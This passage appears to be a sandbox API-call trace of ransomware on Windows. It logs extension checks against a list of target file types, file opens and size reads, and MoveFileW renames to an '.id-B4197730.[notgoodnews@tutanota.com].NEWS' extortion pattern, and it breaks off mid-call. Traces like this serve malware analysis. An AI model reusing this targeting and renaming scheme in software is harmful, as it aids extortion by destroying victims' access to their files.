lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0158.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0158.278] lstrlenW (lpString=".jpg") returned 4 [0158.278] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0158.278] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0158.278] lstrlenW (lpString="Content.xml") returned 11 [0158.278] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0158.322] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=27045) returned 1 [0158.322] CloseHandle (hObject=0x3b8) returned 1 [0158.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0158.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.340] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0158.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0158.358] lstrlenW (lpString=".doc") returned 4 [0158.358] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0158.359] lstrlenW (lpString=".docx") returned 5 [0158.359] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0158.359] lstrlenW (lpString=".pdf") returned 4 [0158.359] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0158.359] lstrlenW (lpString=".xls") returned 4 [0158.359] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0158.359] lstrlenW (lpString=".xlsx") returned 5 [0158.359] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0158.359] lstrlenW (lpString=".ppt") returned 4 [0158.359] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0158.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0158.359] lstrlenW (lpString=".zip") returned 4 [0158.359] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0158.359] lstrlenW (lpString=".rar") returned 4 [0158.359] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0158.359] lstrlenW (lpString=".bz2") returned 4 [0158.359] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0158.359] lstrlenW (lpString=".7z") returned 3 [0158.359] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0158.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0158.359] lstrlenW (lpString=".dbf") returned 4 [0158.359] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0158.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0158.359] lstrlenW (lpString=".1cd") returned 4 [0158.359] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0158.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0158.359] lstrlenW (lpString=".jpg") returned 4 [0158.359] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0158.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0158.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0158.360] lstrlenW (lpString=".doc") returned 4 [0158.360] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0158.360] lstrlenW (lpString=".docx") returned 5 [0158.360] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0158.360] lstrlenW (lpString=".pdf") returned 4 [0158.360] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0158.360] lstrlenW (lpString=".xls") returned 4 [0158.360] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0158.360] lstrlenW (lpString=".xlsx") returned 5 [0158.360] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0158.360] lstrlenW (lpString=".ppt") returned 4 [0158.360] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0158.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0158.360] lstrlenW (lpString=".zip") returned 4 [0158.360] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0158.360] lstrlenW (lpString=".rar") returned 4 [0158.360] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0158.360] lstrlenW (lpString=".bz2") returned 4 [0158.360] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0158.360] lstrlenW (lpString=".7z") returned 3 [0158.360] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0158.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0158.360] lstrlenW (lpString=".dbf") returned 4 [0158.360] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0158.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0158.360] lstrlenW (lpString=".1cd") returned 4 [0158.360] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0158.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0158.360] lstrlenW (lpString=".jpg") returned 4 [0158.360] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0158.361] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0158.361] lstrlenW (lpString="correct.avi") returned 11 [0158.361] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0158.410] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=180172) returned 1 [0158.410] CloseHandle (hObject=0x3ac) returned 1 [0158.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0158.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0158.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0158.411] lstrlenW (lpString=".doc") returned 4 [0158.411] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0158.411] lstrlenW (lpString=".docx") returned 5 [0158.411] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0158.411] lstrlenW (lpString=".pdf") returned 4 [0158.411] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0158.411] lstrlenW (lpString=".xls") returned 4 [0158.411] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0158.411] lstrlenW (lpString=".xlsx") returned 5 [0158.411] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0158.411] lstrlenW (lpString=".ppt") returned 4 [0158.411] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0158.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0158.411] lstrlenW (lpString=".zip") returned 4 [0158.411] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0158.411] lstrlenW (lpString=".rar") returned 4 [0158.411] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0158.411] lstrlenW (lpString=".bz2") returned 4 [0158.411] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0158.412] lstrlenW (lpString=".7z") returned 3 [0158.412] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0158.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0158.412] lstrlenW (lpString=".dbf") returned 4 [0158.412] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0158.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0158.412] lstrlenW (lpString=".1cd") returned 4 [0158.412] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0158.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0158.412] lstrlenW (lpString=".jpg") returned 4 [0158.412] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0158.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0158.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0158.412] lstrlenW (lpString=".doc") returned 4 [0158.412] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0158.412] lstrlenW (lpString=".docx") returned 5 [0158.412] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0158.412] lstrlenW (lpString=".pdf") returned 4 [0158.412] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0158.412] lstrlenW (lpString=".xls") returned 4 [0158.412] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0158.412] lstrlenW (lpString=".xlsx") returned 5 [0158.412] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0158.412] lstrlenW (lpString=".ppt") returned 4 [0158.412] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0158.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0158.412] lstrlenW (lpString=".zip") returned 4 [0158.413] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0158.413] lstrlenW (lpString=".rar") returned 4 [0158.413] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0158.413] lstrlenW (lpString=".bz2") returned 4 [0158.413] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0158.413] lstrlenW (lpString=".7z") returned 3 [0158.413] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0158.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0158.413] lstrlenW (lpString=".dbf") returned 4 [0158.413] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0158.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0158.413] lstrlenW (lpString=".1cd") returned 4 [0158.413] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0158.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0158.413] lstrlenW (lpString=".jpg") returned 4 [0158.413] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0158.413] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0158.413] lstrlenW (lpString="join.avi") returned 8 [0158.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0158.425] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=199994) returned 1 [0158.425] CloseHandle (hObject=0x3c4) returned 1 [0158.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0158.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0158.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0158.430] lstrlenW (lpString=".doc") returned 4 [0158.431] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0158.431] lstrlenW (lpString=".docx") returned 5 [0158.431] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0158.431] lstrlenW (lpString=".pdf") returned 4 [0158.431] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0158.431] lstrlenW (lpString=".xls") returned 4 [0158.431] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0158.431] lstrlenW (lpString=".xlsx") returned 5 [0158.431] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0158.431] lstrlenW (lpString=".ppt") returned 4 [0158.431] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0158.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0158.431] lstrlenW (lpString=".zip") returned 4 [0158.459] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0158.459] lstrlenW (lpString=".rar") returned 4 [0158.459] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0158.459] lstrlenW (lpString=".bz2") returned 4 [0158.459] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0158.459] lstrlenW (lpString=".7z") returned 3 [0158.459] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0158.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0158.459] lstrlenW (lpString=".dbf") returned 4 [0158.459] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0158.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0158.459] lstrlenW (lpString=".1cd") returned 4 [0158.459] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0158.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0158.460] lstrlenW (lpString=".jpg") returned 4 [0158.460] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0158.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0158.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0158.460] lstrlenW (lpString=".doc") returned 4 [0158.460] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0158.460] lstrlenW (lpString=".docx") returned 5 [0158.460] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0158.460] lstrlenW (lpString=".pdf") returned 4 [0158.460] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0158.460] lstrlenW (lpString=".xls") returned 4 [0158.460] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0158.460] lstrlenW (lpString=".xlsx") returned 5 [0158.460] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0158.460] lstrlenW (lpString=".ppt") returned 4 [0158.460] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0158.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0158.460] lstrlenW (lpString=".zip") returned 4 [0158.460] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0158.460] lstrlenW (lpString=".rar") returned 4 [0158.460] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0158.460] lstrlenW (lpString=".bz2") returned 4 [0158.460] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0158.460] lstrlenW (lpString=".7z") returned 3 [0158.460] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0158.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0158.461] lstrlenW (lpString=".dbf") returned 4 [0158.461] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0158.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0158.461] lstrlenW (lpString=".1cd") returned 4 [0158.461] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0158.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0158.461] lstrlenW (lpString=".jpg") returned 4 [0158.461] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0158.461] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0158.461] lstrlenW (lpString="split.avi") returned 9 [0158.461] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0158.465] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=181964) returned 1 [0158.465] CloseHandle (hObject=0x3b0) returned 1 [0158.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0158.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.466] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0158.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0158.466] lstrlenW (lpString=".doc") returned 4 [0158.466] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0158.466] lstrlenW (lpString=".docx") returned 5 [0158.466] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0158.466] lstrlenW (lpString=".pdf") returned 4 [0158.466] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0158.466] lstrlenW (lpString=".xls") returned 4 [0158.466] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0158.466] lstrlenW (lpString=".xlsx") returned 5 [0158.466] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0158.466] lstrlenW (lpString=".ppt") returned 4 [0158.466] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0158.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0158.466] lstrlenW (lpString=".zip") returned 4 [0158.467] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0158.467] lstrlenW (lpString=".rar") returned 4 [0158.467] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0158.467] lstrlenW (lpString=".bz2") returned 4 [0158.467] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0158.467] lstrlenW (lpString=".7z") returned 3 [0158.467] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0158.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0158.467] lstrlenW (lpString=".dbf") returned 4 [0158.467] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0158.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0158.467] lstrlenW (lpString=".1cd") returned 4 [0158.467] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0158.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0158.467] lstrlenW (lpString=".jpg") returned 4 [0158.467] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0158.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0158.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0158.467] lstrlenW (lpString=".doc") returned 4 [0158.467] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0158.467] lstrlenW (lpString=".docx") returned 5 [0158.467] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0158.467] lstrlenW (lpString=".pdf") returned 4 [0158.467] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0158.467] lstrlenW (lpString=".xls") returned 4 [0158.467] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0158.467] lstrlenW (lpString=".xlsx") returned 5 [0158.468] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0158.468] lstrlenW (lpString=".ppt") returned 4 [0158.468] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0158.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0158.468] lstrlenW (lpString=".zip") returned 4 [0158.468] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0158.468] lstrlenW (lpString=".rar") returned 4 [0158.468] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0158.468] lstrlenW (lpString=".bz2") returned 4 [0158.468] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0158.468] lstrlenW (lpString=".7z") returned 3 [0158.468] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0158.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0158.468] lstrlenW (lpString=".dbf") returned 4 [0158.468] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0158.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0158.468] lstrlenW (lpString=".1cd") returned 4 [0158.468] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0158.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0158.468] lstrlenW (lpString=".jpg") returned 4 [0158.468] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0158.468] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0158.468] lstrlenW (lpString="FlickAnimation.avi") returned 18 [0158.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0158.473] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=1600388) returned 1 [0158.473] CloseHandle (hObject=0x3b0) returned 1 [0158.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0158.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.473] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0158.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0158.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0158.474] lstrlenW (lpString=".doc") returned 4 [0158.474] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0158.474] lstrlenW (lpString=".docx") returned 5 [0158.474] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0158.474] lstrlenW (lpString=".pdf") returned 4 [0158.474] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0158.474] lstrlenW (lpString=".xls") returned 4 [0158.474] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0158.474] lstrlenW (lpString=".xlsx") returned 5 [0158.474] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0158.474] lstrlenW (lpString=".ppt") returned 4 [0158.474] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0158.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0158.474] lstrlenW (lpString=".zip") returned 4 [0158.474] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0158.474] lstrlenW (lpString=".rar") returned 4 [0158.474] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0158.474] lstrlenW (lpString=".bz2") returned 4 [0158.474] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0158.474] lstrlenW (lpString=".7z") returned 3 [0158.474] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0158.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0158.591] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: 